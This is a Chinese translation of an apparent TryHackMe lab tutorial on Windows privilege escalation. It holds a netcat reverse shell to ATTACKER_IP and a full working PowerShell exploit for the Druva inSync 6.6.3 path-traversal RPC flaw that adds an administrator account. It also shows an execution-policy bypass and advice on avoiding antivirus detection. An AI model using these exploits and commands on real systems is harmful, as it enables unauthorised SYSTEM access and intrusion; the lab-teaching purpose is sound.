对上图中使用的命令进行分析:-p 指定exp执行时将要运行的可执行文件,在本例中为nc64.exe,-a用于将参数传递给-p指定的可执行文件。 由于我们希望 nc64 为我们的攻击机建立一个反向 shell,因此传递给 netcat 的参数将是 -e cmd.exe ATTACKER_IP 4442(在使用时加上引号)。
如果一切设置正确,你应该能够在攻击机上获取到一个具有 SYSTEM 权限的 shell:
user@attackerpc$ nc -lvp 4442
Listening on 0.0.0.0 4442
Connection received on 10.10.175.90 49755
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
nt authority\system
滥用易受攻击的软件
未修补的软件
目标系统上安装的软件可以提供各种提权机会。与驱动程序一样,组织和个人可能不会像更新操作系统那样频繁地更新它们。您可以使用 wmic 工具列出目标系统上安装的软件及其版本。以下命令将输出它能够收集到的有关已安装软件的信息(可能需要大约一分钟才能完成):
wmic product get name,version,vendor
请记住, wmic product 命令可能不会返回所有已安装的程序。根据某些程序安装的方式,它们可能不会在这里列出。始终检查桌面快捷方式、可用服务或任何可能表明存在可能存在漏洞的额外软件的痕迹都是值得的。
一旦我们收集了产品版本信息,我们就可以在 exploit-db、packet storm 或普通的 Google 等众多网站上搜索已安装软件上的现有漏洞。
使用 wmic 和谷歌,您能否在已安装的产品中找到已知的漏洞?
案例研究:Druva inSync 6.6.3
目标服务器正在运行 Druva inSync 6.6.3,该版本存在权限提升漏洞,如 Matteo Malvica 所报告。该漏洞是由于在最初报告的 6.5.0 版本漏洞之上应用了一个不良补丁而导致的。
该软件存在漏洞,因为它在端口 6064 上运行了一个 RPC(远程过程调用)服务器,具有 SYSTEM 权限,仅可通过 localhost 访问。如果您不熟悉 RPC,它是一种机制,允许某个进程通过网络暴露函数(在 RPC 术语中称为过程)以便其他机器可以远程调用它们。
在 Druva inSync 的情况下,暴露在端口 6064 上的一个过程(具体是编号为 5 的过程)允许任何人请求执行任何命令。由于 RPC 服务器以 SYSTEM 身份运行,任何命令都会以 SYSTEM 权限执行。
原始漏洞报告指出,在版本 6.5.0 及之前版本中,任何命令都可以无限制地运行。提供此类功能背后的原始想法是通过 inSync 远程执行一些特定的二进制文件,而不是任何命令。然而,并没有进行检查以确保这一点。
发布了一个补丁,其中他们决定检查执行命令是否以字符串 C:\ProgramData\Druva\inSync4\ 开头,其中应该包含允许的二进制文件。但后来,这证明是不够的,因为你可以简单地通过路径遍历攻击来绕过这种控制。假设你想执行 C:\Windows\System32\cmd.exe ,它不在允许的路径中;你只需要求服务器运行 C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe ,这样就可以成功绕过检查。
要组装一个有效的利用程序,我们需要了解如何与端口 6064 进行通信。幸运的是,我们使用的协议很简单,要发送的包在以下图中表示:

第一包只是一个包含固定字符串的 hello 包。第二包表示我们想要执行编号为 5 的进程,因为这个进程是易受攻击的进程,它将为我们执行任何命令。最后两个包分别用于发送要执行的命令的长度和命令字符串。
最初由 Matteo Malvica 在此发布,以下漏洞可用于您的目标机器以提升权限并获取此任务的标志。为了您的方便,以下是原始漏洞代码:
$ErrorActionPreference = "Stop"
$cmd = "net user pwnd /add"
$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)
您可以将 PowerShell 控制台弹出,并将漏洞直接粘贴以执行它(漏洞也位于目标机器的 C:\tools\Druva_inSync_exploit.txt 处)。请注意,漏洞的默认有效载荷,指定在 $cmd 变量中,将在系统中创建一个名为 pwnd 的用户,但不会分配给他管理员权限,因此我们可能希望将有效载荷更改为更有用的内容。对于这个房间,我们将更改有效载荷以运行以下命令:
net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add
这将创建用户 pwnd 并设置密码为 SimplePass123 ,并将其添加到管理员组。如果利用成功,您应该能够运行以下命令来验证用户 pwnd 是否存在并是否属于管理员组:
命令提示符
PS C:\> net user pwnd
User name pwnd
Full Name
Account active Yes
[...]
Local Group Memberships *Administrators *Users
Global Group memberships *None
最后一步,您可以以管理员身份运行命令提示符:

当提示输入凭证时,请使用 pwnd 账户。从新的命令提示符中,您可以使用以下命令 type C:\Users\Administrator\Desktop\flag.txt 从管理员的桌面上获取您的标志。
枚举提权向量的工具
存在多个脚本,可以以类似于之前任务中看到的方式进行系统枚举。这些工具可以缩短枚举过程时间并揭示不同的潜在权限提升向量。然而,请记住,自动化工具有时可能会错过权限提升。
以下是一些常用的工具,用于识别权限提升向量。您可以随意在房间内的任何机器上运行它们,看看结果是否与讨论的攻击向量匹配。
WinPEAS
WinPEAS 是一个用于枚举目标系统以揭示权限提升路径的脚本。您可以在 winPEAS 的官方网站上找到更多信息,并下载预编译的可执行文件或 .bat 脚本。WinPEAS 将运行类似于上一个任务中列出的命令,并打印它们的输出。WinPEAS 的输出可能很长,有时难以阅读。这就是为什么始终将输出重定向到文件是一个好习惯,如下所示:
命令提示符
C:\> winpeas.exe > outputfile.txt
WinPEAS 下载地址为:https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
PrivescCheck
PrivescCheck 是一个 PowerShell 脚本,用于在目标系统上搜索常见的提权操作。它提供了对 WinPEAS 的替代方案,无需执行二进制文件即可运行。
PrivescCheck 下载地址为:https://github.com/itm4n/PrivescCheck
提醒:要在目标系统上运行 PrivescCheck,您可能需要绕过执行策略限制。为此,您可以使用以下示例中的 Set-ExecutionPolicy cmdlet。
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck
WES-NG:Windows 漏洞建议器 - 新一代
某些利用脚本(例如 winPEAS)可能需要您将它们上传到目标系统并运行。这可能会导致杀毒软件检测并删除它们。为了避免引起不必要的噪音并吸引注意,您可能更愿意使用 WES-NG,它将在您的攻击机器(例如 Kali 或 TryHackMe AttackBox)上运行。
WES-NG是一个python脚本,下载地址为:https://github.com/bitsadmin/wesng
安装后,在使用之前,请输入 wes.py --update 命令以更新数据库。脚本将引用它创建的数据库来检查可能导致您在目标系统上提升权限的漏洞的缺失补丁。
要使用此脚本,您需要在目标系统上运行 systeminfo 命令。请记住将输出重定向到您需要移动到攻击机器上的 .txt 文件。
完成此操作后,可以按照以下方式运行 wes.py;
user@kali$ wes.py systeminfo.txt
Metasploit
如果您已经在目标系统上有一个 Meterpreter shell,您可以使用 multi/recon/local_exploit_suggester 模块来列出可能影响目标系统的漏洞,并允许您在目标系统上提升您的权限。

浙公网安备 33010602011771号